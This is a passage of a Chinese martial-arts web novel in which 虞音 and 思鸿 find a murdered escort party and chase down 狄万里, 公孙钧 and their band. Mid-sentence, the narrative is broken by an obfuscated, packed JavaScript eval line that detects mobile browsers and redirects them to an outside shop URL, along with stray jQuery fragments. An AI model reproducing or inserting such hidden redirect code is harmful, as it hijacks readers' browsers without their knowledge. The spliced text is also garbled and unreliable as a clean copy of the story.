这三名僧人脚程奇快,虞音和思鸿本是在他们离去不久便跟了上去,可直追到西门也不见人影,出了西门又让轻雪挽风奔出里许,仍是寻不见半分踪迹。
依着虞音的性子,一旦决定的事情便无论如何都要做到,此时见跟丢了人,她心中恼怒,无处发泄,便把脾气尽数倾在思鸿身上,
“看罢,跟丢了罢!带着你这么个病秧子,还能追得上甚么人?要是我自己,早早便跟上了。”
思鸿笑道,“我也没耽误时辰啊,我这不一直跟…”
他本想说我一直在跟着你啊,不是你在带路吗,话到一半,便被虞音截断,“还敢顶嘴是罢!?”
思鸿不敢再辩,只低声道,“主人,那我们现在去哪里?”
“回去!还能去哪里?”
他知虞音性子急,追丢了人心下不甘,嘴上虽说回去,但若真个回去,只怕这一日都别想好过,晚上更可能遭一顿毒打,忙道,
“既已出城,不如咱们去看看绸缎庄得了。”
见虞音不作声,也没拒绝,思鸿又嘿嘿一笑,“我这身上好好的,没甚么不适,绝不再给主人拖后腿便是了。”
虞音闻言,这才与他并辔缓行,在雪诺城周遭寻找绸缎庄。
又行出七八里路,忽见前方横七竖八的躺着不下二三十人。临近再看,地上散落着平远镖局的镖旗,雷震远与那幼子,皆惨死当地。
虞音自听风崖踏入江湖以来,从未见过这般惨状,活生生的数十人,方才还在酒楼里打尖歇息,转眼间便已成这般。
虽然上次与思鸿见到长明派被埋,但那都尽是些作恶多端之徒,况且她也没亲眼见到马车内的尸首。
可眼前的平远镖局,除了言语上有些不讲礼数外,却也没做甚么伤天害理的事,尤其是那小孩子。
她被惊的不轻,翻身下马跑去抱起那孩童,眼见着已是没了呼吸,
“谁做的?思鸿,是谁下的毒手?是那三个和尚吗?”一时情急,她甚么都想不起,只管向思鸿追问。
思鸿怕这群人是中毒而亡,本想拦住她,可她却已跃入人堆。又见遍地鲜红血迹,尸体尽皆带伤,这才稍安,
“那三个和尚一人手上持有宽刀,这些人却是死在三种兵器之下。”说着还是连忙上前扶起虞音离开尸群,续道,“主人小心凶手用毒,切不可离得太近,他们已是死了。”
她兀自抓着那孩子不放,将他抱出人堆之外,不住的往他心口玉堂穴渡入真气,却也无济于事。
思鸿怕她耗损真元过甚,抓住她手腕,轻轻摇头。
虞音仍是不甘心,不肯罢手,“再试试,再试一次,他身子还没凉。”
其实这小童所受之伤已是无法挽救,思鸿见她如此,便也连忙上前止血、按压。
片刻间虞音额角已沁出细汗,思鸿不忍她为已死之人而伤及元气,想了想,说道,“镖车被抢走了,凶手为财而来,想必尚未行远。”
虞音忽然想起酒楼所见的三辆镖车,此时确已不见踪影。
她一经想通,便缓缓放下那小童,翻身上马,
“随我来。”
二人又向西追出三十余里,果然见到前面一队人,正赶着三辆镖车疾行,看这架势,却比专事走镖的镖局还要快上几分。
思鸿已然料定,不是因为别的,眼前劫了镖队的这伙人,尽皆都是高手。
他在后暗道,“等下追上前去,主人势必要向他们问个究竟,届时若是动起手来,这许多敌人却也是个麻烦,该如何护她周全?”
又想,“早知道这么多人,方才该寻别的借口让她走才是。”
思鸿正自犹豫间,忽见虞音自轻雪背上翩然跃起,轻雪与挽风兀自向前奔跑。但见白衣展动,她身形在空中微滞,已然在思鸿手中抽出长剑,足尖甫一沾地,又似离弦之箭般,向那队人马直扑而去。
这一纵、一滞、抽剑、进攻,只在转瞬间,待思鸿反应过来,她已欺近镖车后队。
虞音本欲先探虚实再作计较,不料这伙人耳力极佳,闻得身后动静,齐齐勒马回身。双方照面,心下皆是一惊,眼前这队却不是狄万里与公孙钧等人又是谁?
此刻已无须多问,纵使他们不是灭门平远镖局之人,虞音也早已同他们结仇,更何况这三辆镖车还在他们手中。
虞音顺势出剑,向一人直刺而去。
在队伍最后面那人,见众人回头,便也跟着向后望去。他本也听见些许动静,但谁让他倒楣,落在队尾,成了虞音第一个攻击的目标。
他这一转身不打紧,只见一道白光已然近身,他手上长剑未及出鞘,仓促间抬起便挡,奈何距离太近,剑锋压着剑鞘,又向他面门削来。
这人慌忙向后躲避,连人带剑摔下马背,若不是他武功与狄万里在伯仲之间,反应灵敏,这一剑便要了他的性命。
虞音借着他剑鞘抵挡之力,在空中转而又向另一人攻去。
狄万里等见状,纷纷纵身而起,围攻虞音。
公孙钧曾见过她女扮男装,在马上骂道,“小疯婆娘!你伤了我们四五个弟兄,我们没找你,你反倒自己送上门来!”
虞音素来知道他嘴贱,是以在他话说一半时,已寻得空袭而出,待他话声甫落,剑锋已破空而至。
狄万里在虞音身后暗自心惊,回想起第一次遇见她时,便是从自己手上脱身都是困难重重,眼下却能倏忽来去,不知是何原因。
公孙钧见这一剑来势凌厉,背脊倏然生寒。饶是他不信虞音武功真如狄万里所说那般进展神速,但也是保命要紧,轮起虎头环刀挡下一招。
虽然方才被击下马那人算是被虞音偷袭,可公孙钧此时却将招式全看在眼中,他这挥刀一挡,也觉虎口微麻,这身子也是向后一晃。
他向来最重颜面,岂肯在众人面前输给年轻人一招半式?心中骂了句,“他奶奶的。”当即纵身迎战。
虞音剑法连绵不绝,将身后诸敌尽数置之度外,只向他一人进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650872|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
攻。
公孙钧只觉每一招每一式,都必须全力招架方可保命,自马上跃下后,他就没半分还手的机会,被逼的狼狈不堪。
待后面数人赶至,虞音足尖在刀背上轻轻一点,衣袂飘飘已掠出三丈开外。
狄万里上前扶住公孙钧,“公孙老弟,没事罢!?”
“没事!”公孙钧抖了抖身上,跃跃欲试,那意思好像是说刚下马还没热好身!续道,“这小婆娘当真有点邪门!”
狄万里上前拱手道,“虞姑娘,我们不与你为难,你却来与我们为难。”
虞音轻哼一声,“今天找的就是你们!”
话声甫落,便又与六七人战作一团,狄万里没有兵刃在手,此时他双掌是一点也不敢过多伸进战团中,只寻得机会,比划那么两下。
思鸿勒住轻雪与挽风,远远观战,其实他心中比谁都急,但深知若是自己过去,反会另她分心,只待情势有变,再做打算。
虞音只觉身上内力充沛,源源不断,这种感觉很轻、很柔,倒并不觉得体内有多么磅礴的力量,她自己也想不通,但却可随心而为的施展轻功,这便给她以一人之力敌对众人的情势,创造出不败之地。
先是六七人缠斗,后来众人见制不住她,尽皆上前围堵,可谁也不敢靠得太近,只接个三招两式,便被虞音脱出重围。
狄万里见这么下去也不是办法,便叫住十数人继续护送镖车向西去,自己同公孙钧等十人留下。
他向最先被击落下马那人要来兵器,此时已是长剑在手,凭空挥动两下,呼呼生风。他本是用剑三四十载,后来与旁人比剑落败,这才转而修习掌法。
公孙钧本想说,从前的栖云剑踪掌门终于回来啦,倒也寻不得空隙,看了一眼便同其余八人合力围堵虞音。
待狄万里持剑与虞音交手数合,方知众人为何不敢近她身,为何每每一招半式便被她走脱。狄万里深知剑法精要,许多本应轻灵飘逸的地方,譬如挑、扫,在虞音手上却也如劈斩般凶猛!
更奇的是她全然不作守势,无论谁上前她都是尽取攻势,若不是有后来人牵制,任谁都难以招架,难挡其锋。
“这种剑法我生平闻所未闻。”狄万里暗自心惊,“她体内究竟蕴藏着甚么,才能做到让每一招每一式的力量都如此均衡,可若是能有这般深厚的内力,为何只游斗而不取人性命?”
其实虞音此时方练成天音壁心法不久,这心法中本就有大梦无照的总纲在内,是以除去七弦琴的功力,在她剑法上也可看见大梦无照的影子。
但越是这样,越是让旁人觉得奇怪,分明有置对方于死地的内力,为甚么还要轻功闪躲。
只因为她初练的便是七弦琴,而非纯正的大梦无照功,此时在剑法的修为上,比起闵云舒还是略有不如。
可虞音能以一人之力独战十大高手,已属不易,若真被合围强攻,势必落入下风。
思鸿见狄万里分兵护送镖车,心头一喜,机会来了!